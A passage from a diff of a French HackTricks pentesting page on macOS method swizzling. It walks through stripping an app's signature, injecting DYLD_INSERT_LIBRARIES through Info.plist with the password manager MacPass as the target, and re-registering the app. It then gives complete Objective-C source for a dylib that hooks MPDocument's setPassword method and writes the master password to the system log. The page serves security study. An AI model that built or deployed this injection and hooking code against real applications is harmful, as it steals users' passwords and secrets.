Ainsi, le vecteur d'attaque consisterait à trouver une vulnérabilité ou à supprimer la signature de l'application, puis à injecter la variable d'environnement **`DYLD_INSERT_LIBRARIES`** via le fichier Info.plist de l'application en ajoutant quelque chose comme :
|
||||
```xml
|
||||
<key>LSEnvironment</key>
|
||||
<dict>
|
||||
<key>DYLD_INSERT_LIBRARIES</key>
|
||||
<string>/Applications/MacPass.app/Contents/malicious.dylib</string>
|
||||
<key>DYLD_INSERT_LIBRARIES</key>
|
||||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
et ensuite **réenregistrez** l'application :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ajoutez dans cette bibliothèque le code de hooking pour exfiltrer les informations : mots de passe, messages...
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez que dans les versions plus récentes de macOS, si vous **supprimez la signature** du binaire de l'application et qu'elle a été précédemment exécutée, macOS **ne l'exécutera plus**.
|
||||
{% endhint %}
|
||||
|
||||
#### Exemple de bibliothèque
|
||||
```objectivec
|
||||
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
||||
|
||||
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
|
||||
|
||||
// Listen to the logs with something like:
|
||||
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
// Here will be stored the real method (setPassword in this case) address
|
||||
static IMP real_setPassword = NULL;
|
||||
|
||||
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
||||
{
|
||||
// Function that will log the password and call the original setPassword(pass, file_path) method
|
||||
NSLog(@"[+] Password is: %@", password);
|
||||
|
||||
// After logging the password call the original method so nothing breaks.
|
||||
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
||||
}
|
||||
|
||||
// Library constructor to execute
|
||||
__attribute__((constructor))
|
||||
static void customConstructor(int argc, const char **argv) {
|
||||
// Get the real method address to not lose it
|
||||
Class classMPDocument = NSClassFromString(@"MPDocument");
|
||||
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
||||
|
||||
// Make the original method setPassword call the fake implementation one
|
||||
IMP fake_IMP = (IMP)custom_setPassword;
|
||||
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||
}
|
||||
```
|
||||
## Références
|
||||
|
||||
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||
|
@ -291,10 +377,10 @@ Ajoutez dans cette bibliothèque le code de hooking pour exfiltrer les informati
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue